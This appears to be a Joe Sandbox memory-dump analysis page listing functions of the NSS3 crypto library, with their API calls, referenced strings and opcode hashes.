unable to close due to unfinalized statements or unfinished backups, xrefs: 6C5E5E64

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 7d1177f5d7f3fbbffaf9f9300fe490a244bfc7412d48aedd6271c79adeaa0258
Instruction ID: 242fb38f9e1fe8f4e286f7ce57d0ea37dce4a6e368a7a8c3c362732ca83b5954
Opcode Fuzzy Hash: 7d1177f5d7f3fbbffaf9f9300fe490a244bfc7412d48aedd6271c79adeaa0258
Instruction Fuzzy Hash: C881E270B056119BEB19CF25CD48B6AB370BF4930CFA806A9D8295BB51D730ED42CBD1

Function 6C5CDCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5CDDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5CDE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5CDE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C5CDEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5CDF78

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5CDE52, 6C5CDE81
%s at line %d of [%.10s], xrefs: 6C5CDE61, 6C5CDE90
database corruption, xrefs: 6C5CDE5C, 6C5CDE8B

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: 8185d32da332f9ae6975d64ce71abd575ae77207dec18d6c1162d86c051fcb41
Instruction ID: c87a18699086b82b9692115584062ce36d153873b9e843d403044cb50b12aa77
Opcode Fuzzy Hash: 8185d32da332f9ae6975d64ce71abd575ae77207dec18d6c1162d86c051fcb41
Instruction Fuzzy Hash: 5D81AD71B443009FD714DFA5CC80B6A77F1AF85308F14882DE89ACBA91EB35E845CB92

Function 6C57CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C57B999), ref: 6C57CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C57B999), ref: 6C57D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C57B999), ref: 6C57D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C57B999), ref: 6C6C972B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C57CFDD, 6C57D00E, 6C57D022, 6C57D033, 6C6C9780
%s at line %d of [%.10s], xrefs: 6C57CFEC, 6C57D018, 6C57D029, 6C57D03F, 6C6C978B
database corruption, xrefs: 6C57CFE7, 6C57D013, 6C57D028, 6C57D039, 6C57D03E, 6C6C9786

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 89a76eeb31a776f47ff629f488f4527ef04d989940ca6b1df35ffb91388fdca2
Instruction ID: f9c9db80f0072018cddce53a2ccd854d3a4937e20acca6ad50b1a97621b8ec22
Opcode Fuzzy Hash: 89a76eeb31a776f47ff629f488f4527ef04d989940ca6b1df35ffb91388fdca2
Instruction Fuzzy Hash: AB614B71A042248BD310CF29CC40BA6B7F5EF85318F28456DE4499FB82E376E987C7A1

Function 6C654DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C65536F,00000022,?,?,00000000,?), ref: 6C654E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C654F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C654F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C654FAE
free.MOZGLUE(?), ref: 6C654FC8

Strings

%s=%c%s%c, xrefs: 6C654FA9
%s=%s, xrefs: 6C654F89
oSel", xrefs: 6C654DFB, 6C654EF4, 6C654EC5

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSel"
API String ID: 2709355791-1848301727
Opcode ID: 520d990fef0f0e7b37edd93adf33adc8f546b84fda7493341d4a2dde7d951739
Instruction ID: e439159ce5282532c5517d205d9dbc6d88fc5bc1120959ee18a0411a03ff3d32
Opcode Fuzzy Hash: 520d990fef0f0e7b37edd93adf33adc8f546b84fda7493341d4a2dde7d951739
Instruction Fuzzy Hash: AE517C31B041458BEB01CA6EC4907FF7BF59F82348FB881A5E8D0A7B40D37598368798

Function 6C67EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6C69A4A1,?,00000000,?,00000001), ref: 6C67EF6D

Part of subcall function 6C69C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C69C2BF

htonl.WSOCK32(00000000,?,6C69A4A1,?,00000000,?,00000001), ref: 6C67EFE4
htonl.WSOCK32(?,00000000,?,6C69A4A1,?,00000000,?,00000001), ref: 6C67EFF1
memcpy.VCRUNTIME140(?,?,6C69A4A1,?,00000000,?,6C69A4A1,?,00000000,?,00000001), ref: 6C67F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6C69A4A1,?,00000000,?,00000001), ref: 6C67F027

Strings

dtls13, xrefs: 6C67EF33

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 6f9e352536d7ff958b353979fbe27f34a15fd6b793bafe8a2bb539d34b09b23f
Instruction ID: 2b297d0a3c2f6a30d67d0742950454a0b6cb07610f5337b461efdfc18f5f9c71
Opcode Fuzzy Hash: 6f9e352536d7ff958b353979fbe27f34a15fd6b793bafe8a2bb539d34b09b23f
Instruction Fuzzy Hash: 07310571A00215AFC720DF38CC84BCAB7E4AF4535CF258429E8189BB51E735E919CBE9

Function 6C5FAF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C5FAFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C719500,6C5F3F91), ref: 6C5FAFD2

Part of subcall function 6C64B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7218D0,?), ref: 6C64B095

DER_GetInteger_Util.NSS3(?), ref: 6C5FB007

Part of subcall function 6C646A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C5F1666,?,6C5FB00C,?), ref: 6C646AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C5FB02F
PR_CallOnce.NSS3(6C752AA4,6C6512D0), ref: 6C5FB046
PL_FreeArenaPool.NSS3 ref: 6C5FB058
PL_FinishArenaPool.NSS3 ref: 6C5FB060

Strings

security, xrefs: 6C5FAFB8

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 7b6b209181017f28a26a579df85b24050daefe3eed6f945195619c15869cf123
Instruction ID: 4f8c4f151b16d6665ec829cec628fe47c0bd267521d1416cb0214cff0cc8ad4e
Opcode Fuzzy Hash: 7b6b209181017f28a26a579df85b24050daefe3eed6f945195619c15869cf123
Instruction Fuzzy Hash: 9A31F470404300EBDB109F24DC44BAA77A8AF8636CF644B19E9745BBD1E732954ACB9B

Function 6C5F3E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6C5F40D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C5F3F7F,?,00000055,?,?,6C5F1666,?,?), ref: 6C5F40D9
Part of subcall function 6C5F40D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C5F1666,?,?), ref: 6C5F40FC
Part of subcall function 6C5F40D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C5F1666,?,?), ref: 6C5F4138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5F3EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C5F3ED6

Part of subcall function 6C64B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7218D0,?), ref: 6C64B095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C5F3EEE

Part of subcall function 6C64FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C648D2D,?,00000000,?), ref: 6C64FB85
Part of subcall function 6C64FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C64FBB1

PR_CallOnce.NSS3(6C752AA4,6C6512D0), ref: 6C5F3F02
PL_FreeArenaPool.NSS3 ref: 6C5F3F14
PL_FinishArenaPool.NSS3 ref: 6C5F3F1C

Part of subcall function 6C6564F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C65127C,00000000,00000000,00000000), ref: 6C65650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C5F3F27

Strings

security, xrefs: 6C5F3EBC

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 39ae5823a6592cc091f20c71f117fa00b27a50184f49774da314405a95fb9b54
Instruction ID: 2344c88cc1f506f7142ea0d7eaab1c3e3652fb955f3260c1d05d5955d99f827b
Opcode Fuzzy Hash: 39ae5823a6592cc091f20c71f117fa00b27a50184f49774da314405a95fb9b54
Instruction Fuzzy Hash: 67210671904300ABE7148B24AC41FAA73A8BB8531CF40493DF959A6B41E731DA28CB9F

Function 6C62ACC0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6C62ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C62AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C62AD23

Part of subcall function 6C70D930: PL_strncpyz.NSS3(?,?,?), ref: 6C70D963

PR_LogPrint.NSS3(?,00000000), ref: 6C62AD39

Strings

npl, xrefs: 6C62AD51, 6C62AD7B
(CK_INVALID_HANDLE), xrefs: 6C62AD1C
C_MessageDecryptFinal, xrefs: 6C62ACE1
hSession = 0x%x, xrefs: 6C62ACFE, 6C62AD0E

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal$npl
API String ID: 332880674-1172372041
Opcode ID: f504f3ea65f6899a17e10f24941989dd419dfbc8724c04966707d2c323a3cc77
Instruction ID: 2d732e844a0cfcc8c9e4ad99fd19cb5efcc7930cfc521d753e91d479fc306176
Opcode Fuzzy Hash: f504f3ea65f6899a17e10f24941989dd419dfbc8724c04966707d2c323a3cc77
Instruction Fuzzy Hash: CF21F5707011449FDB009F649D8CBAB77F5EB4631EF844835E809A7B12DF789908CB9A

Function 6C63CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C63CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C63CE16
PR_SetError.NSS3(00000000,00000000), ref: 6C63D079

Part of subcall function 6C69C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C69C2BF

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 33c064370e83df7475b9bf8db7573f38ffefa2e47eb44fa232b3a3885a635dcc
Instruction ID: 544f984813892adfd4e93ae3c3a56d910261037e5eb1aaf1011ab8c10ea416d2
Opcode Fuzzy Hash: 33c064370e83df7475b9bf8db7573f38ffefa2e47eb44fa232b3a3885a635dcc
Instruction Fuzzy Hash: B6C190B1A002299BDB10DF24CC80BDAB7F4BF49318F1461A8E84D97741E775EA95CF98

Function 6C62DC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6C6397C1,?,00000000,00000000,?,?,?,00000000,?,6C617F4A,00000000), ref: 6C62DC68

Part of subcall function 6C650BE0: malloc.MOZGLUE(6C648D2D,?,00000000,?), ref: 6C650BF8
Part of subcall function 6C650BE0: TlsGetValue.KERNEL32(6C648D2D,?,00000000,?), ref: 6C650C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6C617F4A,00000000,?,00000000,00000000), ref: 6C62DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C617F4A,00000000,?,00000000,00000000), ref: 6C62DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6C617F4A,00000000,?,00000000,00000000), ref: 6C62DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6C617F4A,00000000,?,00000000,00000000), ref: 6C62DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C617F4A,00000000,?,00000000,00000000), ref: 6C62DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6C617F4A,00000000,?,00000000,00000000), ref: 6C62DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6C617F4A,00000000,?,00000000,00000000), ref: 6C62DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6C617F4A,00000000,?,00000000,00000000), ref: 6C62DFAA

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: 95f9c6ad722e5777e81bc97fc147239195d34f74ab8930617c26a437aff1076a
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 5881D371A066028BFB144E19C8943AA72D6DF6174CF30843AD999CAFE5D77CC486CE4E

Function 6C603C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6C603C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6C603C94

Part of subcall function 6C5F95B0: TlsGetValue.KERNEL32(00000000,?,6C6100D2,00000000), ref: 6C5F95D2
Part of subcall function 6C5F95B0: EnterCriticalSection.KERNEL32(?,?,?,6C6100D2,00000000), ref: 6C5F95E7
Part of subcall function 6C5F95B0: PR_Unlock.NSS3(?,?,?,?,6C6100D2,00000000), ref: 6C5F9605

PORT_NewArena_Util.NSS3(00000800), ref: 6C603CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6C603CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6C603CE1

Part of subcall function 6C603090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C61AE42), ref: 6C6030AA
Part of subcall function 6C603090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6030C7
Part of subcall function 6C603090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6030E5
Part of subcall function 6C603090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C603116
Part of subcall function 6C603090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C60312B
Part of subcall function 6C603090: PK11_DestroyObject.NSS3(?,?), ref: 6C603154
Part of subcall function 6C603090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C60317E

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: bdcde1b699229153e84eef75cb7223d62dba0f5f953db9cbb0ee480a9863c7c6
Instruction ID: cadacbf07d2b5d340423f3589ce2a41741b21a540313367df99dd81e32da5e57
Opcode Fuzzy Hash: bdcde1b699229153e84eef75cb7223d62dba0f5f953db9cbb0ee480a9863c7c6
Instruction Fuzzy Hash: 036124B5B00200ABEB105F61CD41FAB76B9EF05749F084139FE0AAAA52F721D815C7AC

Function 6C643D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6C643440: PK11_GetAllTokens.NSS3 ref: 6C643481
Part of subcall function 6C643440: PR_SetError.NSS3(00000000,00000000), ref: 6C6434A3
Part of subcall function 6C643440: TlsGetValue.KERNEL32 ref: 6C64352E
Part of subcall function 6C643440: EnterCriticalSection.KERNEL32(?), ref: 6C643542
Part of subcall function 6C643440: PR_Unlock.NSS3(?), ref: 6C64355B

TlsGetValue.KERNEL32 ref: 6C643D8B
EnterCriticalSection.KERNEL32(?), ref: 6C643D9F
PR_Unlock.NSS3(?), ref: 6C643DCA
PR_SetError.NSS3(00000000,00000000), ref: 6C643DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C643E4F

Part of subcall function 6C69C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C69C2BF

TlsGetValue.KERNEL32 ref: 6C643E97
EnterCriticalSection.KERNEL32(?), ref: 6C643EAB
PR_Unlock.NSS3(?), ref: 6C643ED6
PR_SetError.NSS3(00000000,00000000), ref: 6C643EEE

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: 91db7540bf3a3785371547229d34a399cc9250decee2cc5c41794189782863f8
Instruction ID: 879aa602a8e6b9c7dbb479a8fd83395e0efc9208a4391830775c14edcf9ac5d2
Opcode Fuzzy Hash: 91db7540bf3a3785371547229d34a399cc9250decee2cc5c41794189782863f8
Instruction Fuzzy Hash: 43515771A012019FDB01AF68DC44BAA73B0EF45319F44C17ADE0947A22EF31E855CBC9

